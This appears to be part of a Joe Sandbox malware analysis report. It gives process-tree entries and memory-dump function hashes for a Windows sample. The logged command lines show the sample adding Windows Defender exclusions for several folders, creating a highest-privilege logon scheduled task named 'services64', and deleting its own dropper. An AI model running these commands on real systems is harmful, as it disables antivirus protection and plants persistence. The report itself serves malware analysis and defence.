Commandline:	"C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	147
Start time:	11:42:48
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	148
Start time:	11:42:48
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	149
Start time:	11:42:49
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\svchost64.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Imagebase:	0x410000
File size:	38'400 bytes
MD5 hash:	A8638A5105C9A663B0D6918D64B3AD21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	150
Start time:	11:42:49
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	151
Start time:	11:42:49
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	152
Start time:	11:42:49
Start date:	27/09/2024
Path:	C:\Windows\System32\choice.exe
Wow64 process (32bit):	false
Commandline:	choice /C Y /N /D Y /T 3
Imagebase:	0x7ff62e2e0000
File size:	35'840 bytes
MD5 hash:	1A9804F0C374283B094E9E55DC5EE128
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	153
Start time:	11:42:49
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	154
Start time:	11:42:49
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	155
Start time:	11:42:49
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	156
Start time:	11:42:50
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	157
Start time:	11:42:50
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	158
Start time:	11:42:50
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	159
Start time:	11:42:50
Start date:	27/09/2024
Path:	C:\Windows\System32\Microsoft\Libs\sihost64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\Microsoft\Libs\sihost64.exe"
Imagebase:	0x380000
File size:	7'680 bytes
MD5 hash:	7112FD4E6B2CDD13C11B8B04A96769CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	160
Start time:	11:42:51
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	161
Start time:	11:42:51
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	162
Start time:	11:42:51
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	163
Start time:	11:42:52
Start date:	27/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	164
Start time:	11:42:52
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	165
Start time:	11:42:52
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	166
Start time:	11:42:53
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	167
Start time:	11:42:54
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	168
Start time:	11:42:54
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	169
Start time:	11:42:54
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	170
Start time:	11:42:55
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	171
Start time:	11:42:55
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	172
Start time:	11:42:55
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	173
Start time:	11:42:55
Start date:	27/09/2024
Path:	C:\Windows\System32\choice.exe
Wow64 process (32bit):	false
Commandline:	choice /C Y /N /D Y /T 3
Imagebase:	0x7ff62e2e0000
File size:	35'840 bytes
MD5 hash:	1A9804F0C374283B094E9E55DC5EE128
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	174
Start time:	11:42:55
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	175
Start time:	11:42:55
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	176
Start time:	11:42:56
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	177
Start time:	11:42:56
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	178
Start time:	11:42:56
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	179
Start time:	11:42:56
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	180
Start time:	11:42:57
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	181
Start time:	11:42:57
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	182
Start time:	11:42:58
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	183
Start time:	11:42:58
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	184
Start time:	11:42:58
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	185
Start time:	11:42:58
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	186
Start time:	11:42:58
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	187
Start time:	11:43:00
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	188
Start time:	11:43:00
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	189
Start time:	11:43:00
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	190
Start time:	11:43:00
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	191
Start time:	11:43:00
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	192
Start time:	11:43:01
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	193
Start time:	11:43:01
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	194
Start time:	11:43:01
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	195
Start time:	11:43:01
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	196
Start time:	11:43:02
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	197
Start time:	11:43:02
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	198
Start time:	11:43:02
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	199
Start time:	11:43:03
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	200
Start time:	11:43:04
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	201
Start time:	11:43:04
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	202
Start time:	11:43:05
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	203
Start time:	11:43:05
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	204
Start time:	11:43:07
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	205
Start time:	11:43:07
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	206
Start time:	11:43:08
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	207
Start time:	11:43:08
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04CC0942 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df65267b06524cad8b6a782c3d857d1eee2ca08c33ba89bd2a78c3111470eeea
Instruction ID: b8d3b94817982129c8e08bcf05855971433419542d61ec2ac049d1d1e1eb83f3
Opcode Fuzzy Hash: df65267b06524cad8b6a782c3d857d1eee2ca08c33ba89bd2a78c3111470eeea
Instruction Fuzzy Hash: FFF090A730C010FD7040D1C32624BB667AFE2C5730328882FF14BD6501F1546A847232

Function 04CC0A4C Relevance: .7, Instructions: 736COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 907eafe6881db90bac7e00afa1bffebf17cba2c00706839912d55e50caecffe7
Instruction ID: 49030dfa4bca07bec39b963adf8bb9061815e88708a098e4b5cb75947fb34ab5
Opcode Fuzzy Hash: 907eafe6881db90bac7e00afa1bffebf17cba2c00706839912d55e50caecffe7
Instruction Fuzzy Hash: D9D097A2A0C120CC82028CF3801C2392FE6F64122030688BFC0C2CE4A3F114E846E3E1

Function 04CC0947 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8eea830bf4c84fd8ada0e5a39d59f3c6d9ae02fbec5a6b11b808296d888adc7
Instruction ID: d3f5f45ec988df3b9f4bf3de1a893897914de520fda604920aad58a64cbe6096
Opcode Fuzzy Hash: c8eea830bf4c84fd8ada0e5a39d59f3c6d9ae02fbec5a6b11b808296d888adc7
Instruction Fuzzy Hash: BB0147B770C150EEB201D2D316617BA7BEBE6D7320328487FF047CB502E2246A85B232

Function 04CC097C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1764546782.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

